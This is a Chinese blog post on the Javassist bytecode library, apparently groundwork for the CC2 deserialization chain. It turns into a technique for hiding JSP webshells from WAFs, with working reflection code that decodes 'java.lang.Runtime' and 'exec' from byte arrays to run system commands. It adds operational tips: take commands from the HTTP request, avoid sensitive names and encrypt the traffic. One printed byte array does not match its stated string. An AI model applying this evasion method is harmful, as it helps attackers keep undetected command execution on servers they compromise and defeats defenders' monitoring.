java 类路径_Java安全之Javassist动态编程

作者 | nice_0e3

来源 | urlify.cn/M3U7Br

前言

在调试CC2链前先来填补知识盲区,先来了解一下Javassist具体的作用。在CC2链会用到Javassist以及PriorityQueue来构造利用链

1 Javassist 介绍

Java 字节码以二进制的形式存储在 class 文件中,每一个 class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。

Javassist是一个开源的分析、编辑和创建Java字节码的类库。

2 Javassist 使用

这里主要讲一下主要的几个类:

ClassPool

ClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象(Hashtable和Hashmap类似都是实现map接口,hashmap可以接收null的值,但是Hashtable不行)。

常用方法:

static ClassPool getDefault() 返回默认的类池。ClassPath insertClassPath(java.lang.String pathname)  在搜索路径的开头插入目录或jar(或zip)文件。ClassPath insertClassPath(ClassPath cp)  ClassPath在搜索路径的开头插入一个对象。java.lang.ClassLoader getClassLoader()  获取类加载器toClass(),getAnnotations()在 CtClass等CtClass get(java.lang.String classname)  从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。ClassPath appendClassPath(ClassPath cp)  将ClassPath对象附加到搜索路径的末尾。CtClass makeClass(java.lang.String classname) 创建一个新的public类

CtClass

CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPoold的一些方法获得。

常用方法:

void setSuperclass(CtClass clazz) 更改超类,除非此对象表示接口。java.lang.Class> toClass(java.lang.invoke.MethodHandles.Lookup lookup)  将此类转换为java.lang.Class对象。byte[] toBytecode()  将该类转换为类文件。void writeFile()  将由此CtClass 对象表示的类文件写入当前目录。void writeFile(java.lang.String directoryName)  将由此CtClass 对象表示的类文件写入本地磁盘。CtConstructor makeClassInitializer()  制作一个空的类初始化程序(静态构造函数)。

CtMethod

CtMethod:表示类中的方法。

CtConstructor

CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。

常用方法

void setBody(java.lang.String src)  设置构造函数主体。void setBody(CtConstructor src, ClassMap map)  从另一个构造函数复制一个构造函数主体。CtMethod toMethod(java.lang.String name, CtClass declaring)  复制此构造函数并将其转换为方法。

ClassClassPath

该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径。

构造方法:

ClassClassPath(java.lang.Class> c)  创建一个搜索路径。

常见方法:

java.net.URL find (java.lang.String classname)  获取指定类文件的URL。java.io.InputStream openClassfile(java.lang.String classname)  通过获取类文getResourceAsStream()。

代码实例:

ClassPool pool = ClassPool.getDefault();

在默认系统搜索路径获取ClassPool对象。

如果需要修改类搜索的路径需要使用insertClassPath方法进行修改。

pool.insertClassPath(new ClassClassPath(this.getClass()));

将本类所在的路径插入到搜索路径中

toBytecode

package com.demo;import javassist.*;import java.io.IOException;import java.util.Arrays;public class testssit {    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {        ClassPool pool = ClassPool.getDefault();        pool.insertClassPath(new ClassClassPath(demo.class.getClass()));        CtClass ctClass = pool.get("com.demo.test");        ctClass.setSuperclass(pool.get("com.demo.test"));//        System.out.println(ctClass);        byte[] bytes = ctClass.toBytecode();        String s = Arrays.toString(bytes);        System.out.println(s);
b8300422c2d2ea9e9f677bcf00701aca.png

toClass

Hello类:public class Hello {    public void say() {        System.out.println("Hello");    }}Test 类public class Test {    public static void main(String[] args) throws Exception {        ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。        CtClass cc = cp.get("com.demo.Hello");  //获取hello类的        CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法        m.insertBefore("{ System.out.println("Hello.say():"); }");//在正文的开头插入字节码        Class c = cc.toClass();//将此类转换为java.lang.Class对象        Hello h = (Hello)c.newInstance(); //反射创建对象并进行强转        h.say();调用方法say    }}
486771d723fdafb6b322f6d763706a2a.png

3 一些小想法

按照我的理解来说就是可以去将类和字节码进行互相转换。那么按照这个思路来延申的话,我们可以做到什么呢?我首先想到的可能就是webshell的一些免杀,例如说Jsp的最常见的一些webshell,都是采用Runtime,ProcessBuilder这两个类去进行构造,执行命令。按照WAF的惯性这些设备肯定是把这些常见的执行命令函数给拉入黑名单里面去。那么如果说可以转换成字节码的话呢?字节码肯定是不会被杀的。如果说这时候将Runtime这个类转换成字节码,内嵌在Jsp中,后面再使用Javassist来将字节码还原成类的话,如果转换的几个方法没被杀的话,是可以实现过WAF的。当然这些也只是我的一些臆想,因为Javassist并不是JDK中自带的,实现的话后面可以再研究一下。但是类加载器肯定是可以去加载字节码,然后实现执行命令的。这里只是抛砖引玉,更多的就不细说了。如果有更好的想法也可以提出来一起去交流。

4 想法实现

这里可以来思考一个问题,该怎么样才能动态传入参数去执行呢?那能想到的肯定是反射。如果我们用上面的思路,把全部代码都转换成字节码的话,其实就没有多大意义了。因为全是固定死的东西,他也只会执行并且得到同一个执行结果。

我在这里能想到的就是将部分在代码里面固定死的代码给转换成字节码,然后再使用反射的方式去调用。

public class test {    public static void main(String[] args) {        String string ="java.lang.Runtime";        byte[] bytes1 = string.getBytes();        System.out.println(Arrays.toString(bytes1));            }}

获取结果:

[106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,73,109,112,108]

现在已经是把结果给获取到了,但是我们需要知道字节码怎么样还原为String类型。

在后面翻阅资料的时候,发现String的构造方法就直接能执行,来看看他的官方文档。

a13a5936e492d808b04048d49474ddb5.png

使用bytes去构造一个新的String

代码:

public class test {    public static void main(String[] args) {        byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};        String s = new String(bytes);        System.out.println(s);    }}
1da06d61c47b1165ab9e64b3ebc49bff.png
public class test {    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};        String run = new String(b1);        String command = "ipconfig";        Class aClass = Class.forName(run);        Constructor declaredConstructor = aClass.getDeclaredConstructor();        declaredConstructor.setAccessible(true);        Object o = declaredConstructor.newInstance();        Method exec = aClass.getMethod("exec", String.class);        Process process = (Process) exec.invoke(o,command);        InputStream inputStream = process.getInputStream();    //获取输出的数据        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符        System.out.println(ipconfig);
293f69cf38a99b388b0860facf84dc5a.png

命令执行成功。

那么这就是一段完整的代码,但是还有些地方处理得不是很好,比如:

Method exec = aClass.getMethod("exec", String.class);

这里是反射获取exec方法,这里的exec是固定的。exec这个对于一些设备来说也是严杀的。

那么在这里就可以来处理一下,也转换成字节码。

转换后的字节码:

[101,120,101,99]

改进一下代码:

public class test {    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {        String command = "ipconfig";        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};        String run = new String(b1);        byte[] b2 = new byte[]{101, 120, 101, 99};        String cm = new String(b2);                Class aClass = Class.forName(run);        Constructor declaredConstructor = aClass.getDeclaredConstructor();        declaredConstructor.setAccessible(true);        Object o = declaredConstructor.newInstance();        Method exec = aClass.getMethod(cm, String.class);        Process process = (Process) exec.invoke(o,command);        InputStream inputStream = process.getInputStream();    //获取输出的数据        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符        System.out.println(ipconfig);

实际中运用就别用啥ipconfig和command这些来命名了,这些都是一些敏感词。这里只是为了方便理解。

在真实情况下应该是request.getInputStream()来获取输入的命令的。那么这里也还需要注意传输的时候进行加密,不然流量肯定也是过不了设备的。

5 结尾

其实后面这些内容是跑偏题了,因为是后面突然才想到的这么一个东西。所以将他给记录下来。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值